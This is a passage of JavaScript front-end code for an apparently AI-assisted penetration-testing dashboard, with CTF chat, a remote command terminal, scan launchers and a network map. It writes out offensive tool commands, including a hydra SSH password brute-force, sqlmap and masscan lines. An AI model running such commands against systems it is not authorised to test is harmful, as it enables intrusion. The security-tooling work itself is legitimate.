headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({
|
||
message: userMessage,
|
||
category: this.ctfAgent.category,
|
||
challenge_name: this.ctfAgent.challengeName || null,
|
||
challenge_description: this.ctfAgent.challengeDescription || null,
|
||
hints: hints,
|
||
files: files,
|
||
current_progress: this.ctfAgent.currentProgress || null
|
||
})
|
||
});
|
||
|
||
const data = await response.json();
|
||
|
||
this.ctfAgent.messages.push({
|
||
role: 'assistant',
|
||
content: data.response || 'I encountered an error processing your request.',
|
||
timestamp: new Date().toLocaleTimeString()
|
||
});
|
||
} catch (e) {
|
||
console.error('CTF Agent error:', e);
|
||
this.ctfAgent.messages.push({
|
||
role: 'assistant',
|
||
content: '❌ Failed to connect to CTF Agent. Please check the backend service.',
|
||
timestamp: new Date().toLocaleTimeString()
|
||
});
|
||
}
|
||
|
||
this.ctfAgent.loading = false;
|
||
this.$nextTick(() => this.scrollToBottom('ctf-messages'));
|
||
},
|
||
|
||
sendCtfQuickPrompt(prompt) {
|
||
this.ctfAgent.input = prompt;
|
||
this.sendCtfMessage();
|
||
},
|
||
// ============= END CTF AGENT =============
|
||
|
||
// ============= END PROJECT MANAGEMENT =============
|
||
|
||
async loadProviders() {
|
||
try {
|
||
const response = await fetch('/api/providers');
|
||
this.providers = await response.json();
|
||
this.updateModels();
|
||
} catch (e) { console.error('Failed to load providers:', e); }
|
||
},
|
||
|
||
updateModels() {
|
||
if (this.providers[this.selectedProvider]) {
|
||
this.availableModels = this.providers[this.selectedProvider].models || [];
|
||
this.selectedModel = this.availableModels[0] || '';
|
||
}
|
||
},
|
||
|
||
savePreferences() {
|
||
// Persist provider/model selection (global)
|
||
fetch('/api/preferences', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ provider: this.selectedProvider, model: this.selectedModel })
|
||
}).catch(() => {});
|
||
},
|
||
|
||
handleVoiceCommand(command) {
|
||
// Process voice command - route to appropriate handler
|
||
const lower = command.toLowerCase();
|
||
if (lower.includes('scan')) {
|
||
this.scanModalOpen = true;
|
||
// Extract target if present
|
||
const match = lower.match(/scan\s+([^\s]+)/);
|
||
if (match) this.scanModal.target = match[1];
|
||
} else if (lower.includes('show') && lower.includes('agent')) {
|
||
this.activeTab = 'c2';
|
||
} else if (lower.includes('list') && lower.includes('scan')) {
|
||
this.activeTab = 'scan-history';
|
||
} else if (lower.includes('help')) {
|
||
this.showHelpPanel = true;
|
||
this.helpInput = command;
|
||
this.sendHelpMessage();
|
||
} else {
|
||
// Default: send to chat
|
||
this.userInput = command;
|
||
this.sendMessage();
|
||
}
|
||
},
|
||
|
||
async sendMessage() {
|
||
if (!this.userInput.trim() || this.isLoading) return;
|
||
const message = this.userInput;
|
||
this.userInput = '';
|
||
this.messages.push({ role: 'user', content: message });
|
||
this.isLoading = true;
|
||
this.scrollToBottom('chatContainer');
|
||
|
||
try {
|
||
const response = await fetch('/api/chat/phase', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({
|
||
message: message,
|
||
phase: this.activePhase,
|
||
provider: this.selectedProvider,
|
||
model: this.selectedModel,
|
||
findings: this.findings
|
||
})
|
||
});
|
||
|
||
const data = await response.json();
|
||
const aiMessage = {
|
||
role: 'assistant',
|
||
content: data.content || 'Sorry, I encountered an error.',
|
||
phase: this.getCurrentPhase().name,
|
||
provider: this.selectedProvider,
|
||
model: this.selectedModel,
|
||
risk_score: data.risk_score,
|
||
findings: data.findings
|
||
};
|
||
this.messages.push(aiMessage);
|
||
if (data.findings && data.findings.length > 0) {
|
||
this.findings = [...this.findings, ...data.findings];
|
||
}
|
||
} catch (e) {
|
||
this.messages.push({
|
||
role: 'assistant',
|
||
content: '❌ Failed to connect to the backend service.',
|
||
phase: this.getCurrentPhase().name
|
||
});
|
||
}
|
||
this.isLoading = false;
|
||
this.scrollToBottom('chatContainer');
|
||
},
|
||
|
||
async executeCommand() {
|
||
if (!this.terminalInput.trim() || this.terminalLoading) return;
|
||
const command = this.terminalInput;
|
||
this.commandHistory.unshift(command);
|
||
this.historyIndex = -1;
|
||
this.terminalInput = '';
|
||
this.terminalHistory.push({ type: 'cmd', content: command });
|
||
this.terminalLoading = true;
|
||
this.terminalStreaming = true;
|
||
this.terminalPaused = false;
|
||
this.pausedBuffer = [];
|
||
this.terminalStartTime = Date.now();
|
||
this.lastExitCode = null;
|
||
this.scrollToBottom('terminalOutput');
|
||
|
||
// Use WebSocket for real-time streaming
|
||
try {
|
||
const wsProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||
const wsUrl = `${wsProtocol}//${window.location.host}/ws/terminal`;
|
||
console.log('Connecting to WebSocket:', wsUrl);
|
||
|
||
const ws = new WebSocket(wsUrl);
|
||
this.terminalWs = ws;
|
||
const self = this;
|
||
|
||
ws.onopen = function() {
|
||
console.log('WebSocket connected, sending command:', command);
|
||
const payload = JSON.stringify({ command: command, working_dir: '/workspace' });
|
||
console.log('Payload:', payload);
|
||
ws.send(payload);
|
||
};
|
||
|
||
ws.onmessage = function(event) {
|
||
console.log('WebSocket message:', event.data);
|
||
const data = JSON.parse(event.data);
|
||
|
||
// Buffer messages while paused
|
||
if (self.terminalPaused) {
|
||
self.pausedBuffer.push(data);
|
||
return;
|
||
}
|
||
|
||
if (data.type === 'stdout' && data.data) {
|
||
// Append to last stdout or create new one for continuous output
|
||
const lastEntry = self.terminalHistory[self.terminalHistory.length - 1];
|
||
if (lastEntry && lastEntry.type === 'stdout') {
|
||
lastEntry.content += data.data;
|
||
} else {
|
||
self.terminalHistory.push({ type: 'stdout', content: data.data });
|
||
}
|
||
self.scrollToBottom('terminalOutput');
|
||
} else if (data.type === 'stderr' && data.data) {
|
||
self.terminalHistory.push({ type: 'stderr', content: data.data });
|
||
self.scrollToBottom('terminalOutput');
|
||
} else if (data.type === 'keepalive') {
|
||
// Update status for long-running scans
|
||
const lastEntry = self.terminalHistory[self.terminalHistory.length - 1];
|
||
if (lastEntry && lastEntry.type === 'keepalive') {
|
||
lastEntry.content = data.message || `Scan in progress (${data.elapsed}s)...`;
|
||
} else {
|
||
self.terminalHistory.push({ type: 'keepalive', content: data.message || 'Scan in progress...' });
|
||
}
|
||
self.scrollToBottom('terminalOutput');
|
||
} else if (data.type === 'complete') {
|
||
// Remove keepalive message when complete
|
||
const lastEntry = self.terminalHistory[self.terminalHistory.length - 1];
|
||
if (lastEntry && lastEntry.type === 'keepalive') {
|
||
self.terminalHistory.pop();
|
||
}
|
||
if (data.exit_code !== 0) {
|
||
self.terminalHistory.push({ type: 'info', content: `Exit code: ${data.exit_code}` });
|
||
}
|
||
self.lastExitCode = (typeof data.exit_code === 'number') ? data.exit_code : self.lastExitCode;
|
||
self.terminalLoading = false;
|
||
self.terminalStreaming = false;
|
||
ws.close();
|
||
self.terminalWs = null;
|
||
} else if (data.type === 'error' || data.error) {
|
||
self.terminalHistory.push({ type: 'stderr', content: data.message || data.error });
|
||
self.terminalLoading = false;
|
||
self.terminalStreaming = false;
|
||
}
|
||
};
|
||
|
||
ws.onerror = function(error) {
|
||
console.error('WebSocket error:', error);
|
||
self.terminalHistory.push({ type: 'stderr', content: '[WebSocket connection failed - using fallback]' });
|
||
// Fallback to regular fetch
|
||
self.terminalStreaming = false;
|
||
self.executeCommandFetch(command);
|
||
};
|
||
|
||
ws.onclose = function(event) {
|
||
console.log('WebSocket closed:', event.code, event.reason);
|
||
if (self.terminalStreaming) {
|
||
// Connection closed before complete message
|
||
if (event.code !== 1000) {
|
||
self.terminalHistory.push({ type: 'info', content: `[Connection closed: ${event.code}]` });
|
||
}
|
||
self.terminalLoading = false;
|
||
self.terminalStreaming = false;
|
||
}
|
||
};
|
||
|
||
} catch (e) {
|
||
console.error('WebSocket setup error:', e);
|
||
// Fallback to regular fetch
|
||
this.executeCommandFetch(command);
|
||
}
|
||
},
|
||
|
||
async executeCommandFetch(command) {
|
||
// Fallback method using regular HTTP
|
||
try {
|
||
const response = await fetch('/api/execute', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ command: command, timeout: 300 })
|
||
});
|
||
const data = await response.json();
|
||
if (data.stdout) this.terminalHistory.push({ type: 'stdout', content: data.stdout });
|
||
if (data.stderr) this.terminalHistory.push({ type: 'stderr', content: data.stderr });
|
||
if (data.exit_code !== 0) this.terminalHistory.push({ type: 'info', content: `Exit code: ${data.exit_code}` });
|
||
} catch (e) {
|
||
this.terminalHistory.push({ type: 'stderr', content: 'Failed to execute command: ' + e.message });
|
||
}
|
||
this.terminalLoading = false;
|
||
this.terminalStreaming = false;
|
||
this.scrollToBottom('terminalOutput');
|
||
},
|
||
|
||
cancelCommand() {
|
||
if (this.terminalWs && this.terminalStreaming) {
|
||
this.terminalWs.close();
|
||
this.terminalWs = null;
|
||
this.terminalStreaming = false;
|
||
this.terminalLoading = false;
|
||
this.terminalHistory.push({ type: 'info', content: '[Command cancelled]' });
|
||
}
|
||
},
|
||
|
||
togglePause() {
|
||
this.terminalPaused = !this.terminalPaused;
|
||
if (!this.terminalPaused && this.pausedBuffer.length) {
|
||
// Flush buffered messages
|
||
for (const data of this.pausedBuffer) {
|
||
if (data.type === 'stdout' && data.data) {
|
||
const lastEntry = this.terminalHistory[this.terminalHistory.length - 1];
|
||
if (lastEntry && lastEntry.type === 'stdout') {
|
||
lastEntry.content += data.data;
|
||
} else {
|
||
this.terminalHistory.push({ type: 'stdout', content: data.data });
|
||
}
|
||
} else if (data.type === 'stderr' && data.data) {
|
||
this.terminalHistory.push({ type: 'stderr', content: data.data });
|
||
} else if (data.type === 'keepalive') {
|
||
const lastEntry = this.terminalHistory[this.terminalHistory.length - 1];
|
||
if (lastEntry && lastEntry.type === 'keepalive') {
|
||
lastEntry.content = data.message || `Scan in progress (${data.elapsed}s)...`;
|
||
} else {
|
||
this.terminalHistory.push({ type: 'keepalive', content: data.message || 'Scan in progress...' });
|
||
}
|
||
} else if (data.type === 'complete') {
|
||
const lastEntry = this.terminalHistory[this.terminalHistory.length - 1];
|
||
if (lastEntry && lastEntry.type === 'keepalive') {
|
||
this.terminalHistory.pop();
|
||
}
|
||
if (data.exit_code !== 0) {
|
||
this.terminalHistory.push({ type: 'info', content: `Exit code: ${data.exit_code}` });
|
||
}
|
||
this.lastExitCode = (typeof data.exit_code === 'number') ? data.exit_code : this.lastExitCode;
|
||
this.terminalLoading = false;
|
||
this.terminalStreaming = false;
|
||
}
|
||
}
|
||
this.pausedBuffer = [];
|
||
this.scrollToBottom('terminalOutput');
|
||
}
|
||
},
|
||
|
||
copyTerminalOutput() {
|
||
try {
|
||
const text = this.terminalHistory
|
||
.filter(l => l.type === 'stdout' || l.type === 'stderr' || l.type === 'cmd')
|
||
.map(l => (l.type === 'cmd' ? `$ ${l.content}` : l.content))
|
||
.join('\n');
|
||
navigator.clipboard.writeText(text);
|
||
this.terminalHistory.push({ type: 'info', content: '[Output copied to clipboard]' });
|
||
this.scrollToBottom('terminalOutput');
|
||
} catch (e) {
|
||
this.terminalHistory.push({ type: 'stderr', content: 'Failed to copy output' });
|
||
}
|
||
},
|
||
|
||
historyUp() {
|
||
if (this.historyIndex < this.commandHistory.length - 1) {
|
||
this.historyIndex++;
|
||
this.terminalInput = this.commandHistory[this.historyIndex];
|
||
}
|
||
},
|
||
|
||
historyDown() {
|
||
if (this.historyIndex > 0) {
|
||
this.historyIndex--;
|
||
this.terminalInput = this.commandHistory[this.historyIndex];
|
||
} else if (this.historyIndex === 0) {
|
||
this.historyIndex = -1;
|
||
this.terminalInput = '';
|
||
}
|
||
},
|
||
|
||
executeQuickAction(action) {
|
||
if (action.tool) {
|
||
this.showScanModal(action.tool, action.scanType);
|
||
} else if (action.prompt) {
|
||
this.userInput = action.prompt;
|
||
this.activeTab = 'phase';
|
||
this.sendMessage();
|
||
} else if (action.command) {
|
||
this.terminalInput = action.command;
|
||
this.activeTab = 'terminal';
|
||
}
|
||
},
|
||
|
||
showScanModal(tool, scanType) {
|
||
const toolConfig = {
|
||
nmap: ['quick', 'full', 'stealth', 'vuln'],
|
||
nikto: ['default', 'ssl', 'full'],
|
||
gobuster: ['dir', 'dns'],
|
||
sqlmap: ['test', 'dbs'],
|
||
whatweb: ['default', 'aggressive'],
|
||
amass: ['default'],
|
||
hydra: ['default']
|
||
};
|
||
this.scanModal = { tool, target: '', scanType, types: toolConfig[tool] || [scanType] };
|
||
this.scanModalOpen = true;
|
||
},
|
||
|
||
async startScan() {
|
||
if (!this.scanModal.target) return;
|
||
try {
|
||
const response = await fetch('/api/scan', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({
|
||
tool: this.scanModal.tool,
|
||
target: this.scanModal.target,
|
||
scan_type: this.scanModal.scanType
|
||
})
|
||
});
|
||
const data = await response.json();
|
||
this.scanModalOpen = false;
|
||
await this.refreshScans();
|
||
this.messages.push({
|
||
role: 'assistant',
|
||
phase: this.getCurrentPhase().name,
|
||
content: `🔄 Started **${this.scanModal.tool}** scan on \`${this.scanModal.target}\`\n\nScan ID: \`${data.scan_id}\``
|
||
});
|
||
} catch (e) { console.error('Failed to start scan:', e); }
|
||
},
|
||
|
||
async refreshScans() {
|
||
try {
|
||
const response = await fetch('/api/scans');
|
||
this.scans = await response.json();
|
||
this.scans.filter(s => s.status === 'completed' && s.parsed).forEach(scan => {
|
||
if (scan.parsed.findings) {
|
||
scan.parsed.findings.forEach(f => {
|
||
if (!this.findings.find(existing => existing.raw === f.raw)) {
|
||
this.findings.push({ id: `${scan.scan_id}-${this.findings.length}`, ...f, tool: scan.tool, target: scan.target });
|
||
}
|
||
});
|
||
}
|
||
});
|
||
} catch (e) { console.error('Failed to load scans:', e); }
|
||
},
|
||
|
||
async pollScan(scanId) {
|
||
try {
|
||
const response = await fetch(`/api/scan/${scanId}`);
|
||
const scan = await response.json();
|
||
const index = this.scans.findIndex(s => s.scan_id === scanId);
|
||
if (index !== -1) this.scans[index] = scan;
|
||
} catch (e) { console.error('Failed to poll scan:', e); }
|
||
},
|
||
|
||
async pollRunningScans() {
|
||
for (const scan of this.scans) {
|
||
if (scan.status === 'running' || scan.status === 'pending') await this.pollScan(scan.scan_id);
|
||
}
|
||
},
|
||
|
||
viewScanDetails(scan) { this.selectedScan = scan; this.detailsModalOpen = true; },
|
||
|
||
askAboutTool(tool) {
|
||
this.activeTab = 'phase';
|
||
this.userInput = `Explain how to use ${tool.name} for ${this.getCurrentPhase().name.toLowerCase()}. Include common options and example commands.`;
|
||
this.sendMessage();
|
||
},
|
||
|
||
async analyzeAttackChains() {
|
||
if (this.findings.length === 0) return;
|
||
this.isLoading = true;
|
||
try {
|
||
const response = await fetch('/api/attack-chains', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ findings: this.findings, provider: this.selectedProvider, model: this.selectedModel })
|
||
});
|
||
const data = await response.json();
|
||
this.attackChains = data.attack_chains || [];
|
||
this.activeTab = 'attack-chains';
|
||
} catch (e) { console.error('Failed to analyze attack chains:', e); }
|
||
this.isLoading = false;
|
||
},
|
||
|
||
countBySeverity(severity) { return this.findings.filter(f => f.severity === severity).length; },
|
||
|
||
// Scan History helpers
|
||
formatScanTime(timestamp) {
|
||
if (!timestamp) return 'Unknown';
|
||
const date = new Date(timestamp);
|
||
const now = new Date();
|
||
const diff = now - date;
|
||
|
||
if (diff < 60000) return 'Just now';
|
||
if (diff < 3600000) return Math.floor(diff / 60000) + ' min ago';
|
||
if (diff < 86400000) return Math.floor(diff / 3600000) + ' hours ago';
|
||
if (diff < 604800000) return Math.floor(diff / 86400000) + ' days ago';
|
||
|
||
return date.toLocaleDateString() + ' ' + date.toLocaleTimeString([], {hour: '2-digit', minute:'2-digit'});
|
||
},
|
||
|
||
async rescanTarget(scan) {
|
||
this.scanModal = {
|
||
tool: scan.tool,
|
||
target: scan.target,
|
||
scanType: scan.scan_type || 'default',
|
||
types: this.getScanTypes(scan.tool)
|
||
};
|
||
this.scanModalOpen = true;
|
||
},
|
||
|
||
getScanTypes(tool) {
|
||
const toolConfig = {
|
||
nmap: ['quick', 'full', 'stealth', 'vuln', 'os'],
|
||
nikto: ['default', 'ssl', 'full'],
|
||
gobuster: ['dir', 'dns', 'vhost'],
|
||
sqlmap: ['test', 'dbs', 'tables'],
|
||
whatweb: ['default', 'aggressive'],
|
||
amass: ['passive', 'active'],
|
||
hydra: ['ssh', 'ftp', 'http'],
|
||
masscan: ['quick', 'full']
|
||
};
|
||
return toolConfig[tool] || ['default'];
|
||
},
|
||
|
||
copyScanCommand(scan) {
|
||
const commands = {
|
||
nmap: `nmap -sV ${scan.target}`,
|
||
nikto: `nikto -h ${scan.target}`,
|
||
gobuster: `gobuster dir -u ${scan.target} -w /usr/share/wordlists/dirb/common.txt`,
|
||
sqlmap: `sqlmap -u "${scan.target}" --batch`,
|
||
whatweb: `whatweb ${scan.target}`,
|
||
amass: `amass enum -d ${scan.target}`,
|
||
hydra: `hydra -L users.txt -P passwords.txt ${scan.target} ssh`,
|
||
masscan: `masscan ${scan.target} -p1-65535 --rate=1000`
|
||
};
|
||
const cmd = commands[scan.tool] || `${scan.tool} ${scan.target}`;
|
||
navigator.clipboard.writeText(cmd);
|
||
this.terminalInput = cmd;
|
||
// Flash feedback
|
||
this.messages.push({
|
||
role: 'assistant',
|
||
content: `📋 Command copied to clipboard and terminal:\n\`\`\`bash\n${cmd}\n\`\`\``
|
||
});
|
||
},
|
||
|
||
async clearScanHistory() {
|
||
if (!confirm('Clear all scan history? This cannot be undone.')) return;
|
||
try {
|
||
await fetch('/api/scans/clear', { method: 'DELETE' });
|
||
this.scans = [];
|
||
this.findings = [];
|
||
} catch (e) {
|
||
console.error('Failed to clear scans:', e);
|
||
// Still clear locally if backend fails
|
||
this.scans = [];
|
||
}
|
||
},
|
||
|
||
// AI Provider display helpers
|
||
getProviderIcon(provider) {
|
||
const icons = {
|
||
'ollama-local': '🦙',
|
||
'ollama-network': '🌐',
|
||
openai: '🤖',
|
||
anthropic: '🧠'
|
||
};
|
||
return icons[provider] || '🤖';
|
||
},
|
||
|
||
getProviderName(provider) {
|
||
const names = {
|
||
'ollama-local': 'Local',
|
||
'ollama-network': 'Networked',
|
||
openai: 'OpenAI',
|
||
anthropic: 'Anthropic'
|
||
};
|
||
return names[provider] || provider;
|
||
},
|
||
|
||
getProviderStyle(provider) {
|
||
const styles = {
|
||
'ollama-local': 'bg-yellow-500/20 border-yellow-500/50 text-yellow-400',
|
||
'ollama-network': 'bg-blue-500/20 border-blue-500/50 text-blue-400',
|
||
openai: 'bg-green-500/20 border-green-500/50 text-green-400',
|
||
anthropic: 'bg-orange-500/20 border-orange-500/50 text-orange-400'
|
||
};
|
||
return styles[provider] || 'bg-sp-grey border-sp-grey-mid text-sp-white';
|
||
},
|
||
|
||
getProviderBadgeStyle(provider) {
|
||
const styles = {
|
||
'ollama-local': 'bg-yellow-500/20 text-yellow-400 border border-yellow-500/30',
|
||
'ollama-network': 'bg-blue-500/20 text-blue-400 border border-blue-500/30',
|
||
openai: 'bg-green-500/20 text-green-400 border border-green-500/30',
|
||
anthropic: 'bg-orange-500/20 text-orange-400 border border-orange-500/30'
|
||
};
|
||
return styles[provider] || 'bg-sp-grey text-sp-white-muted';
|
||
},
|
||
|
||
getSeverityBadgeClass(severity) {
|
||
const classes = {
|
||
critical: 'bg-sev-critical/20 text-sev-critical border border-sev-critical/50',
|
||
high: 'bg-sev-high/20 text-sev-high border border-sev-high/50',
|
||
medium: 'bg-sev-medium/20 text-sev-medium border border-sev-medium/50',
|
||
low: 'bg-sev-low/20 text-sev-low border border-sev-low/50',
|
||
info: 'bg-sev-info/20 text-sev-info border border-sev-info/50'
|
||
};
|
||
return classes[severity] || classes.info;
|
||
},
|
||
|
||
getRiskColor(score) {
|
||
if (score >= 9) return 'bg-sev-critical/20 text-sev-critical border border-sev-critical/50';
|
||
if (score >= 7) return 'bg-sev-high/20 text-sev-high border border-sev-high/50';
|
||
if (score >= 4) return 'bg-sev-medium/20 text-sev-medium border border-sev-medium/50';
|
||
return 'bg-sev-low/20 text-sev-low border border-sev-low/50';
|
||
},
|
||
|
||
getRiskLabel(score) {
|
||
if (score >= 9) return 'CRITICAL';
|
||
if (score >= 7) return 'HIGH';
|
||
if (score >= 4) return 'MEDIUM';
|
||
return 'LOW';
|
||
},
|
||
|
||
renderMarkdown(content) { return marked.parse(content || ''); },
|
||
|
||
scrollToBottom(containerId) {
|
||
if (this.scrollLock) return;
|
||
this.$nextTick(() => {
|
||
const container = document.getElementById(containerId);
|
||
if (container) container.scrollTop = container.scrollHeight;
|
||
});
|
||
},
|
||
formatElapsed(startTs) {
|
||
if (!startTs) return '0s';
|
||
const secs = Math.floor((Date.now() - startTs) / 1000);
|
||
if (secs < 60) return `${secs}s`;
|
||
const m = Math.floor(secs / 60), s = secs % 60;
|
||
return `${m}m ${s}s`;
|
||
},
|
||
|
||
// Network Map Functions
|
||
getDeviceIcon(osType) {
|
||
if (!osType) return '❓';
|
||
const os = osType.toLowerCase();
|
||
if (os.includes('windows')) return '🪟';
|
||
if (os.includes('linux') || os.includes('ubuntu') || os.includes('debian') || os.includes('centos') || os.includes('redhat') || os.includes('fedora')) return '🐧';
|
||
if (os.includes('mac') || os.includes('darwin') || os.includes('apple') || os.includes('ios')) return '🍎';
|
||
if (os.includes('cisco') || os.includes('juniper') || os.includes('router') || os.includes('switch') || os.includes('fortinet') || os.includes('palo alto')) return '📡';
|
||
if (os.includes('server') || os.includes('esxi') || os.includes('vmware')) return '🖥️';
|
||
if (os.includes('printer') || os.includes('hp') || os.includes('canon') || os.includes('epson')) return '🖨️';
|
||
if (os.includes('android')) return '📱';
|
||
if (os.includes('freebsd') || os.includes('openbsd')) return '😈';
|
||
return '❓';
|
||
},
|
||
|
||
getOsColor(osType) {
|
||
if (!osType) return 'text-sp-white-muted';
|
||
const os = osType.toLowerCase();
|
||
if (os.includes('windows')) return 'text-blue-400';
|
||
if (os.includes('linux')) return 'text-yellow-400';
|
||
if (os.includes('mac') || os.includes('apple')) return 'text-gray-300';
|
||
if (os.includes('cisco') || os.includes('router')) return 'text-green-400';
|
||
return 'text-sp-white';
|
||
},
|
||
|
||
// Get normalized OS category for filtering
|
||
getOsCategory(osType) {
|
||
if (!osType) return 'unknown';
|
||
const os = osType.toLowerCase();
|
||
if (os.includes('windows')) return 'Windows';
|
||
if (os.includes('linux') || os.includes('ubuntu') || os.includes('debian') || os.includes('centos') || os.includes('redhat') || os.includes('fedora')) return 'Linux';
|
||
if (os.includes('mac') || os.includes('darwin') || os.includes('apple') || os.includes('ios')) return 'macOS';
|
||
if (os.includes('cisco') || os.includes('juniper') || os.includes('router') || os.includes('switch') || os.includes('fortinet')) return 'router';
|
||
if (os.includes('server') || os.includes('esxi') || os.includes('vmware')) return 'server';
|
||
return 'unknown';
|
||
},
|
||
|
||
toggleOsFilter(osType) {
|
||
const index = this.osFilters.indexOf(osType);
|
||
if (index === -1) {
|
||
this.osFilters.push(osType);
|
||
} else {
|
||
this.osFilters.splice(index, 1);
|
||
}
|
||
this.renderNetworkMap();
|
||
},
|
||
|
||
selectHost(host) {
|
||
this.selectedHost = host;
|
||
this.highlightHostOnMap(host.ip);
|
||
},
|
||
|
||
highlightHostOnMap(ip) {
|
||
d3.selectAll('.network-node').classed('selected', false);
|
||
d3.select(`[data-ip="${ip}"]`).classed('selected', true);
|
||
},
|
||
|
||
async startRangeScan() {
|
||
if (!this.rangeScanTarget) return;
|
||
this.showRangeScanModal = false;
|
||
this.networkMapLoading = true;
|
||
this.networkScanProgress = { current: 0, total: 0, currentIp: '', hostsFound: 0 };
|
||
this.activeTab = 'network-map';
|
||
|
||
try {
|
||
const response = await fetch('/api/network/scan', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({
|
||
target: this.rangeScanTarget,
|
||
scan_type: this.rangeScanType
|
||
})
|
||
});
|
||
const data = await response.json();
|
||
|
||
if (data.scan_id) {
|
||
// Set initial progress based on target range
|
||
if (data.total_hosts) {
|
||
this.networkScanProgress.total = data.total_hosts;
|
||
}
|
||
// Poll for results
|
||
await this.pollNetworkScan(data.scan_id);
|
||
}
|
||
} catch (e) {
|
||
console.error('Failed to start network scan:', e);
|
||
this.messages.push({
|
||
role: 'assistant',
|
||
phase: 'Reconnaissance',
|
||
content: '❌ Failed to start network scan: ' + e.message
|
||
});
|
||
}
|
||
this.networkMapLoading = false;
|
||
this.networkScanProgress = { current: 0, total: 0, currentIp: '', hostsFound: 0 };
|
||
},
|
||
|
||
async pollNetworkScan(scanId) {
|
||
const maxAttempts = 120; // 10 minutes max
|
||
for (let i = 0; i < maxAttempts; i++) {
|
||
await new Promise(r => setTimeout(r, 2000)); // Poll every 2 seconds for better progress updates
|
||
try {
|
||
const response = await fetch(`/api/network/scan/${scanId}`);
|
||
const data = await response.json();
|
||
|
||
// Update progress
|
||
if (data.progress) {
|
||
this.networkScanProgress = {
|
||
current: data.progress.scanned || 0,
|
||
total: data.progress.total || this.networkScanProgress.total,
|
||
currentIp: data.progress.current_ip || '',
|
||
hostsFound: data.progress.hosts_found || 0
|
||
};
|
||
}
|
||
|
||
if (data.status === 'completed') {
|
||
this.networkHosts = data.hosts || [];
|
||
this.$nextTick(() => this.renderNetworkMap());
|
||
return;
|
||
} else if (data.status === 'failed') {
|
||
throw new Error(data.error || 'Scan failed');
|
||
}
|
||
// Update partial results as hosts are discovered
|
||
if (data.hosts && data.hosts.length > 0) {
|
||
this.networkHosts = data.hosts;
|
||
this.$nextTick(() => this.renderNetworkMap());
|
||
}
|
||
} catch (e) {
|
||
console.error('Failed to poll scan:', e);
|
||
}
|
||
}
|
||
},
|
||
|
||
async refreshNetworkMap() {
|
||
this.networkMapLoading = true;
|
||
try {
|
||
const response = await fetch('/api/network/hosts');
|
||
const data = await response.json();
|
||
this.networkHosts = data.hosts || [];
|
||
this.$nextTick(() => this.renderNetworkMap());
|
||
} catch (e) {
|
||
console.error('Failed to refresh network map:', e);
|
||
}
|
||
this.networkMapLoading = false;
|
||
},
|
||
|
||
async refreshNetworkHosts() {
|
||
// Alias for refreshNetworkMap - loads hosts from API
|
||
await this.refreshNetworkMap();
|
||
},
|
||
|
||
scanHost(ip) {
|
||
this.scanModal = { tool: 'nmap', target: ip, scanType: 'full', types: ['quick', 'full', 'vuln'] };
|
||
this.scanModalOpen = true;
|
||
},
|
||
|
||
renderNetworkMap() {
|
||
// Switch between Cytoscape and D3 views
|
||
if (this.networkMapView === 'cytoscape' && window.GooseStrikeComponents && window.GooseStrikeComponents.mount && window.GooseStrikeComponents.mount.networkMap) {
|
||
this.renderNetworkMapCytoscape();
|
||
return;
|
||
}
|
||
// Fallback to D3
|
||
this.renderNetworkMapD3();
|
||
},
|
||
|
||
renderNetworkMapCytoscape() {
|
||
const containerId = 'networkMapCytoscape';
|
||
// Apply OS filters
|
||
let filteredHosts = this.networkHosts;
|
||
if (this.osFilters.length > 0) {
|
||
filteredHosts = this.networkHosts.filter(host => {
|
||
const category = this.getOsCategory(host.os_type);
|
||
return this.osFilters.includes(category);
|
||
});
|
||
}
|
||
window.GooseStrikeComponents.mount.networkMap(containerId, {
|
||
hosts: filteredHosts,
|
||
onSelect: (hostIp) => {
|
||
const host = this.networkHosts.find(h => h.ip === hostIp);
|
||
if (host) this.selectHost(host);
|
||
},
|
||
filters: { os: this.osFilters }
|
||
});
|
||
},
|
||
|
||
renderNetworkMapD3() {
|
||
const svg = d3.select('#networkMapSvg');
|
||
svg.selectAll('*').remove();
|
||
|
||
if (this.networkHosts.length === 0) return;
|
||
|
||
const container = document.getElementById('networkMapSvg').parentElement;
|
||
const width = container.clientWidth;
|
||
const height = container.clientHeight;
|
||
|
||
// Filter hosts based on active OS filters
|
||
let filteredHosts = this.networkHosts;
|
||
if (this.osFilters.length > 0) {
|
||
filteredHosts = this.networkHosts.filter(host => {
|
||
const category = this.getOsCategory(host.os_type);
|
||
return this.osFilters.includes(category);
|
||
});
|
||
}
|
||
|
||
if (filteredHosts.length === 0 && this.osFilters.length > 0) {
|
||
// Show message if no hosts match filter
|
||
svg.append('text')
|
||
.attr('x', width / 2)
|
||
.attr('y', height / 2)
|
||
.attr('text-anchor', 'middle')
|
||
.attr('fill', '#666')
|
||
.text('No hosts match the selected filters');
|
||
return;
|
||
}
|
||
|
||
// Create a gateway node (center)
|
||
const gatewayIp = this.networkHosts[0]?.ip.split('.').slice(0, 3).join('.') + '.1';
|
||
const nodes = [
|
||
{ id: 'gateway', ip: gatewayIp, os_type: 'router', hostname: 'Gateway', isGateway: true }
|
||
];
|
||
|
||
// Add host nodes (filtered)
|
||
filteredHosts.forEach(host => {
|
||
nodes.push({
|
||
id: host.ip,
|
||
ip: host.ip,
|
||
os_type: host.os_type,
|
||
hostname: host.hostname,
|
||
ports: host.ports
|
||
});
|
||
});
|
||
|
||
// Create links from each host to gateway
|
||
const links = filteredHosts.map(host => ({
|
||
source: 'gateway',
|
||
target: host.ip
|
||
}));
|
||
|
||
// Force simulation - settles quickly and stops
|
||
const simulation = d3.forceSimulation(nodes)
|
||
.force('link', d3.forceLink(links).id(d => d.id).distance(150))
|
||
.force('charge', d3.forceManyBody().strength(-300))
|
||
.force('center', d3.forceCenter(width / 2, height / 2))
|
||
.force('collision', d3.forceCollide().radius(60))
|
||
.alphaDecay(0.05) // Faster decay = settles quicker
|
||
.velocityDecay(0.4); // More friction = less bouncy
|
||
|
||
// Stop simulation after it settles (2 seconds)
|
||
setTimeout(() => {
|
||
simulation.stop();
|
||
